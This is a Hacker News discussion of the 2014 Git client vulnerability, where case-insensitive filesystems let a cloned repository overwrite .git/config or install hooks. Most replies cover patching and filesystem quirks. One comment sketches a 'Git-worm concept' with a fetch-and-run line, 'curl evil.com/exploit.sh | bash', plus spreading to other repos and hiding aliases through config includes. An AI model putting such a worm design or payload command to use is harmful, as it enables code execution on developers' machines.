
Git client vulnerability announced - polemic
https://github.com/blog/1938-git-client-vulnerability-announced
======
FiloSottile
Short panic summary: your git/hg remotes can get code execution on your
machine when you clone/pull if you are on OSX or Windows.

Summary: on case-insensitive/normalizing filesystems (default on OSX and
Windows) it's possible for .git/config to be overwritten by the tree, probably
due to a case-sensitive sanity check when the actual file is insensitive.
.git/config can contain arbitrary commands to be run on certain events/as
aliases, so it leads to code execution. This is a risk when you get a tree
from a third party, so on pull/fetch+checkout/clone...

There's an analogous vulnerability in Mercurial.

Update, then run git --version and make sure it's one of v1.8.5.6, v1.9.5,
v2.0.5, v2.1.4, or v2.2.1. And be careful when pulling/cloning from third-
parties.

EDIT: right, no "or", what are you doing reading this instead of updating?

~~~
orbitur
Hmm. I have git 2.2.0 installed through Homebrew, but the Homebrew repo seems
broken at the moment?

edit: Nevermind, short-lived issue. Just upgraded to 2.2.1.

~~~
jdkram
For anyone looking to update via Homebrew, make sure it has the latest
formulae:

    
    
      brew update
      brew upgrade git

------
userbinator
I think here is a good argument for not using case-insensitive filesystems -
because _every single filename comparison_ gets affected and it can lead to
vulnerabilities like this (I wonder what others are out there...) Case-
insensitive initially feels like a good idea to some, but I think it's a good
example of "trying to do too much" and often in subtle ways that even the user
might not fully understand - the definition of "case" changes with locale, for
instance. In contrast, with filenames that are treated as dumb and simple,
plain sequences of bytes that just cannot contain certain characters (and thus
compared accordingly for equality, bit-by-bit), there is no need to even
consider the concept of "case", and no ambiguity: It either matches exactly or
doesn't match.

(I am aware of all the - quite frankly ridiculous - complexity of Unicode
characters that are visually identical and "should be treated as such for the
purposes of comparison", but I think that's another example of excess
complexity leading to things like directory-traversal attacks.)

~~~
rimantas
I once tried to install OS X with case sensative filesystem. Turns out
Photoshop for OS X does not work in that case. Had to go back to case-
insensitive. Not sure how many other apps have the same issue.

~~~
wereHamster
World of Warcraft (and any other Blizzard game) won't run off of a case
sensitive filesystem.

~~~
ydant
Steam also requires case-insensitive filesystem on OSX.

~~~
hereonbusiness
Steam on Linux does not. That probably means that Linux doesn't get any steam
games that require a case-insensitive fs even if they would work otherwise
(unity3d, monogame, ...), at least if there isn't a special linux version that
does not require it.

I never really thought about this issue.

------
necubi
Homebrew just updated
([https://github.com/Homebrew/homebrew/pull/35105](https://github.com/Homebrew/homebrew/pull/35105)),
so Homebrew users should be covered by

    
    
        brew update && brew upgrade git

~~~
IgorPartola
brew update will use `git clone`, so yeah...

~~~
necubi
If you read the blog post, GitHub has checked all their repos for for this
exploit and is blocking it on pushes; cloning from GitHub _should_ be safe.

~~~
IgorPartola
The blocking pushes is what I was concerned with, along with brew searching
pull requests.

------
jazzychad
If you don't want to use homebrew on mac, here is the list of commands I used
to upgrade:
[https://gist.github.com/jazzychad/07c0c6da5709202e8106](https://gist.github.com/jazzychad/07c0c6da5709202e8106)

~~~
unspecified
Thanks for this. Might want to move the original /usr/bin/git out of the way,
rather than outright deleting it, juuuuust in case you end up needing the
original binary.

~~~
jazzychad
/usr/bin/git is usually a soft symlink, so the original binary is still there
when you rm the synlink. You can see the actual location by doing

    
    
        ls -al /usr/bin/git
    

If it's not in fact a symlink then yes you should probably rename it to
preserve it.

~~~
Demiurge
Yosemite, mine is not

------
califield
I was wondering who found this vulnerability. You have to click through to the
Git mailing list announcement[1]:

> A big "thanks!" for bringing this issue to us goes to our friends in the
> Mercurial land, namely, Matt Mackall and Augie Fackler.

It'd be interesting to hear how they came across this. Matt is the leader of
the Mercurial project and Augie is a Mercurial core contributor.

This doesn't seem like a high priority upgrade since GitHub now blocks the
vulnerability from being pushed to their servers.

[1]
[http://article.gmane.org/gmane.linux.kernel/1853266](http://article.gmane.org/gmane.linux.kernel/1853266)

edit: Upgrade ASAP!

~~~
tptacek
It's a very high priority, because there are things that transparently use Git
and don't host all their repositories on Github. Update ASAP.

~~~
califield
Yeah, but typically you have a certain level of trust in your project
dependencies. Adding a library to your project often means granting access to
your system anyway (if the dependency contains executable code).

~~~
peff
You were and are vulnerable to malicious projects by running:

    
    
        git clone git://...
        make
    

or anything similar, since you are running arbitrary code out of the
repository. This release fixes the problem of:

    
    
        git clone git://...
        git show
    

etc. Git cannot fix the "clone and run" problem, which is a social one. But it
should be safe to run git commands to inspect the repository contents.

~~~
comex
I don't think the GP should be downvoted. What you say is exactly correct -
however - I can't even think of a time I've git cloned some piece of code and
not proceeded to run some code from it at some point, typically on the same
machine. I download code for the purpose of using it, and while I could
hypothetically inspect the entire repository for malicious code, I don't think
I'm unusual in not doing that on a regular basis.

I guess maybe Docker/Vagrant/etc. users don't normally run code directly on
their development machine, so it can be high priority for them. But as someone
who doesn't use these tools (not a web developer), for me the vulnerability is
extremely low priority.

~~~
peff
I think we are actually agreeing.

I think it is important to have this Git fix, because it lets people be
careful if they choose. But in practice most people are _not_ careful, and
will happily clone and run code without inspecting it (or pipe curl to bash!).
It's almost impossible to do otherwise, as there are only so many hours in the
day.

Ultimately I think we are mostly protected by the fact that this kind of
attack is simply not all that common. And if it were done in a very widespread
way, somebody would probably notice and the repo would come under scrutiny. It
would probably be very effective as a directed attack against a small number
of people, especially if the code you executed was sneaky (i.e., install a
rootkit, not `rm -rf /`).

------
baldfat
>In addition, the following updated versions of Git address this
vulnerability: Not everyone has the patch.

The Git core team has announced maintenance releases for all current versions
of Git (v1.8.5.6, v1.9.5, v2.0.5, v2.1.4, and v2.2.1).

I have one Windows machine and went to update [http://git-
scm.com/download/win](http://git-scm.com/download/win) (preview Version 1.9.4)

It was released 3 months ago, on 2014-09-29.

[https://msysgit.github.io](https://msysgit.github.io) (Version 1.9.5 preview
BUT no documentation that this is for a security fix)

Doesn't seem like I can update my git client

~~~
akaBruce
For whatever it's worth, I just downloaded 1.9.5 for Windows from
[https://msysgit.github.io/](https://msysgit.github.io/). While the release
notes don't mention "CVE-2014-9390" explicitly, it does say this:

Changes since Git-1.9.4-preview20140929

New Features ...

Bugfixes

* Safeguards against bogus file names on NTFS.

Edit: Actually, there it is on their git hub releases page.
[https://github.com/msysgit/msysgit/releases/tag/Git-1.9.5-pr...](https://github.com/msysgit/msysgit/releases/tag/Git-1.9.5-preview20141217)

------
ethomson
Visual Studio is affected by this; Microsoft has released patches for Visual
Studio 2013, Visual Studio 2013 Update 4 and an updated Git Provider for
Visual Studio 2012. Users of Visual Studio are urged to apply an update.

Brian Harry's blog has more information and links to download URLs for the
updates: [http://blogs.msdn.com/b/bharry/archive/2014/12/18/git-
vulner...](http://blogs.msdn.com/b/bharry/archive/2014/12/18/git-
vulnerability-with-git-config.aspx)

------
tlarkworthy
> We have also completed an automated scan of all existing content on
> github.com to look for malicious content that might have been pushed to our
> site before this vulnerability was discovered

did they find any problems? The post doesn't say...

~~~
peff
We found 10 repositories which would have been blocked on push with the new
restrictions. None of them were found to be malicious.

~~~
ImJasonH
Do those 10 repos include private repos? What is GitHub's policy about
scanning/inspecting private repos in cases like this?

------
amatix
Git-worm concept:

* create an alias which does something evil "curl evil.com/exploit.sh | bash;", maybe as a typo (commti?) since "to avoid confusion and troubles with script usage, aliases that hide existing Git commands are ignored"

* exploit code finds other local git repos and infects them (maybe avoiding those with github/bitbucket remotes, since they'll be blocked)

* be innocuous-looking via git config's "include", so the bad aliases aren't obviously visible looking at ~/.gitconfig

~~~
xg15
You don't even need to alias a typo - if the vulnerability allows to overwrite
arbitrary files in the .git-directory, which is what it sounds like, you can
just add a book that will be executed on each commit/fetch/push/etc...

So yes, this is dangerous.

~~~
xg15
... hook, not book...

------
vog
Ouch! And I thought the OpenBSD people were paranoid for sticking with CVS.
(because Git is too bloated and complex in their view, so they weren't able to
review it thoroughly, which would have been the only way for them to trust
it.)

I always get a strange, uneasy feeiling when the tin foil hats turn out to be
right.

I wonder if they are right on GPG, too. For those who don't know this: The
OpenBSD people refuse to sign their releases with that "far too complex" GPG
tool, but created their own lightweight "signify" tool instead. [1]

[1]
[http://www.tedunangst.com/flak/post/signify](http://www.tedunangst.com/flak/post/signify)

~~~
yourad_io
Git devs made the incorrect assumption that saving .giT/cONFIg to disk, would
actually save .giT/cONFIg to disk.

Ridiculously enough, this is not always the case (I weep for us).

Should they have known that Windows and MacOS sport case-insensitive
filesystems? Definitely.

But, how does this have anything to do with bloat or complexity?

~~~
yourad_io
And the case-sensitivity stuff is somewhat low-hanging fruit, but...

    
    
       On Windows, certain path components that are different from ".git"
       are mapped to ".git", e.g. "git~1/config" is treated as if it were
       ".git/config".  HFS+ has a similar issue, where certain unicode
       codepoints are ignored, e.g. ".g\u200cit/config" is treated as if
       it were ".git/config"
    

So _that 's_ what ridiculous means. Huh.

~~~
oneeyedpigeon
Oh my lord. That's just Windows being vulnerable, rather than git though,
right? No way every piece of Windows software protects adequately against that
... misfeature.

~~~
xorcist
There's been half a dozen path traversing exploits against MS IIS, before they
finally caved in and took reasonably complete measures in IIS 6 (IIRC).

------
dshankar
Where can I find fixed git-related binaries without having to build from
source myself? (Sorry, I'm lazy)

~~~
dshankar
Wow downvoting because I ask for binaries instead of source? Majority of
people reading this want a fast, immediate solution from a trustworthy source.

edit: obvious places still haven't updated. git-scm still provides 6-month-old
binaries

~~~
codereflection
git-scm does not seem to be a reliable source anymore. For Windows, go
directly here: [https://msysgit.github.io/](https://msysgit.github.io/)

------
conorgil145
Any Ubuntu users who are looking to update as a precaution might find this
link to the "Ubuntu Git Maintainers" ppa useful: [https://launchpad.net/~git-
core/+archive/ubuntu/ppa](https://launchpad.net/~git-core/+archive/ubuntu/ppa)

also: [https://stackoverflow.com/questions/19109542/installing-
late...](https://stackoverflow.com/questions/19109542/installing-latest-
version-of-git-in-ubuntu)

------
avar
Link to the patch that fixed it:
[https://github.com/git/git/commit/cc2fc7c](https://github.com/git/git/commit/cc2fc7c)

~~~
ethomson
It's more than just that. There are a number of additional checks that are
performed for the benefit of various insane filesystems like HFS and NTFS. For
example: HFS has several codepoints that are ignored for the purposes of name
comparison; for example, U+200C. We need to protect against those, too, or
else you could have ".git<U+200C>/config" in your repository that maps to
".git/config".

~~~
jzwinck
Given that NTFS is closed-source, can we know if these protections are
actually sufficient now?

------
thomasfromcdnjs
"Otherwise, an unsuspecting user can run git pull from an innocuous-looking-
but-malicious repository and have the meta-information in her repository
overwritten, or executable hooks installed by the owner of that repository she
pulled from (i.e. an attacker)." [1]

You could pull down git hooks that root your box, pretty intense hack, update
now!

1\. [http://git-
blame.blogspot.com.es/2014/12/git-1856-195-205-21...](http://git-
blame.blogspot.com.es/2014/12/git-1856-195-205-214-and-221-and.html)

------
sillysaurus3
Should programs periodically check for critical security fixes, and then
refuse to run if the current version is affected?

It seems like there are a lot of people who don't really pay attention to
social media or other security alert channels, who won't have a clue about the
extent of this vulnerability. I'm sure they'd update if they knew "if I clone
a malicious repo, I'm toast," but there's no way to inform them except by
HN/Twitter/Reddit/mailing lists.

One could argue that they get what they deserve for being uninformed, but it
seems like the ethical obligation might actually be on us to develop tools
that ping home and ask whether it needs to stop working until it's updated.

Actually, I'm not sure it's ethical to embed such shutdown behavior into a
tool that needs to be reliable. Maybe just a scary warning message like "This
version is critically vulnerable, update immediately" every time the program
runs would suffice.

~~~
akerl_
I'm not sure how I feel about programs phoning home like that. I tolerate it
with apps, but command line tools ought to be doing their stated function when
run.

~~~
semi-extrinsic
There was a discussion of this a few weeks ago on the mailinglist of a
scientific software project I use. The people were very clearly divided into
the "Flash does it, so it's ok" and "omg no, think of the user privacy" camps,
it was quite interesting.

~~~
akerl_
I think I'm much more ok with background things upgrading in the background.
For instance: I never open a new browser tab and think "hmmm, lets launch a
Flash process", it's just there, ready to respond when needed. So it isn't
shocking to find that it polls for updates and applies them.

By contrast, git is a tool that I manually invoke on the command line, and
when the process terminates it's done. Having that phone home at runtime feels
more invasive.

~~~
semi-extrinsic
That's a good point actually. It fits with the principle of least confusion.
(The software I mentioned is a command line tool/library.)

~~~
sillysaurus3
A tool printing "This version has a critical vulnerability, upgrade
immediately" wouldn't be confusing though, or cause any problems. Even if it
wasn't connected to the network, it simply wouldn't print that message.
Everything else would still work properly.

It seems like people are worried about privacy without thinking it through.

------
nodesocket
I am running OSX Yosemite.

    
    
        ➜  ~  git --version
        git version 1.9.3 (Apple Git-50)
    

When I navigate to [http://git-scm.com/download/mac](http://git-
scm.com/download/mac) it downloads 2.0.1 which was released on 6/29/14\. How
can I upgrade to 1.9.5?

~~~
ethomson
Apple has updated this in Xcode 6.2 beta 3: [http://support.apple.com/en-
us/HT204147](http://support.apple.com/en-us/HT204147)

~~~
waxjar
Seems like the Command Line Tools (without XCode), which also ships git, have
not been updated (yet). Rather annoying.

~~~
lloydde
I'm with you. I was really hoping today we'd see a fix in the Command Line
Tools and existing XCode versions. How is Apple including the fix only in the
next version (beta) a sufficient response?

------
donutz
There does not appear to be an updated version of git for cygwin just yet.

------
billpg
What happens if the folder is named .GİT or .gıt in a Turkish locale?

~~~
bobbykjack
(Because [http://msdn.microsoft.com/en-
us/library/ms973919.aspx#string...](http://msdn.microsoft.com/en-
us/library/ms973919.aspx#stringsinnet20_topic5) for anyone wondering 'Why
Turkish?')

------
praseodym
Apple has fixed this in Xcode 6.2 beta 3: [http://support.apple.com/en-
us/HT204147](http://support.apple.com/en-us/HT204147)

~~~
0x0
That's not super helpful as long as Apple still forbids app store submissions
built with beta tools.

------
sumnulu
Also case insensitive file systems has other problems with git, if your team
has a sensitive one. Mac comes with defaulted to insensitive and that is not
good.

------
jszymborski
Anybody have an idea when SourceTree will have an update?

~~~
bshimmin
I don't know - but in SourceTree's preferences, you can tell it to "Use System
Git". On a Mac, if your system's git isn't what it ought to be, then do `brew
install git` (assuming you have Homebrew installed) and make it use that git
rather than the Apple one.

------
mholt
> Git clients running on OS X (HFS+) or any version of Microsoft Windows
> (NTFS, FAT) are exploitable through this vulnerability. Linux clients are
> not affected if they run in a case-sensitive filesystem.

What about case-sensitive Mac file systems, like mine? I would imagine they
are not vulnerable and that the author just overlooked this possibility in the
article...

------
yourad_io
Isn't it pretty nonchalant that git-scm.com doesn't have a huge red banner
advising people to "pay attention and update, or face the pwn"?

Maybe alert banners aren't in the git-scm.com css template.

edit: Is it that I'm on Linux? I changed a few UAs but the download image
still reads "Downloads for Linux".

------
vital101
For those using HomeBrew on OSX: brew update; brew upgrade git;

Then, make sure that HomeBrew versions are taking precedence: echo export
PATH='/usr/local/bin:$PATH' >> ~/.bash_profile

------
Xylakant
The download page at [http://git-scm.com/download/mac](http://git-
scm.com/download/mac) still offers 2.0.1 even though the start page announces
2.2.1.

~~~
asmosoinio
Same for me. But [http://git-scm.com/](http://git-scm.com/) offers 2.2.1

~~~
beeglebug
It looks like 2.2.1 is the latest source code version, but the builds for
Windows and Mac are slightly behind. The windows download is 1.9.5, but was
built 13 hours ago and has the fix.

------
plopper823
Is github desktop app using a custom version of git ? Having update to git
1.9.5 and the github application to 2.6.5

i still got "git --version" to return 1.9.4 for mysisgit in git shell.

Is this normal ?

------
pcl
Meanwhile, this would have been a great way to share commit hooks.

------
percept
[https://www.kernel.org/pub/software/scm/git/](https://www.kernel.org/pub/software/scm/git/)

------
highCs
Here are the git clients: [http://git-scm.com/downloads](http://git-
scm.com/downloads)

------
joshkpeterson
reposting OSX installer for visibility [http://sourceforge.net/projects/git-
osx-installer/files/late...](http://sourceforge.net/projects/git-osx-
installer/files/latest/download)

